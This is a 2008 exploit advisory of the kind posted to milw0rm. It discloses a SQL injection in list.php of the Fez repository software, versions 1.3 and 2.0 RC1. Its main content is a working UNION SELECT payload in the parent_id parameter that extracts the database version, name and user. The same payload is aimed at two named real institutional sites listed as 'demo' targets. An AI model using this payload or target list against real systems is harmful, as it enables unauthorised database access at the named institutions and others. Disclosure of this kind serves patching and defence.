Fez 1.3/2.0 RC1 - 'list.php' SQL Injection

[~]------------------------------------------------------------------------------
[~] Fez software Version 1.3 AND 2.0 RC1 (list.php) - SQL Injection Vulnerability
[~]
[~] http://sourceforge.net/projects/fez
[~]
[~] About:- [Fez is an open source project to produce and maintain a highly flexible web interface to FEDORA
[~]       for any Library or Institution to configure and publish or archive documents of any type sustainably.]
[~]
[~] ----------------------------------------------------------
[~] Bug founded by d3v1l
[~]
[~] Date: 22.09.2008
[~]
[~]
[~] [email protected]
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest|Gibon|Pig       and milw0rm Staff
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~] Demo :- 1.3
[~]
[~] http://repository.openpolytechnic.ac.nz/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~]
[~] Demo :- 2.0 RC1
[~]
[~] http://avi.lib.cas.cz/sandbox/fex/trunk/list.php?browse=subject&parent_id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user())/*
[~]
[~]-----------------------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-09-22]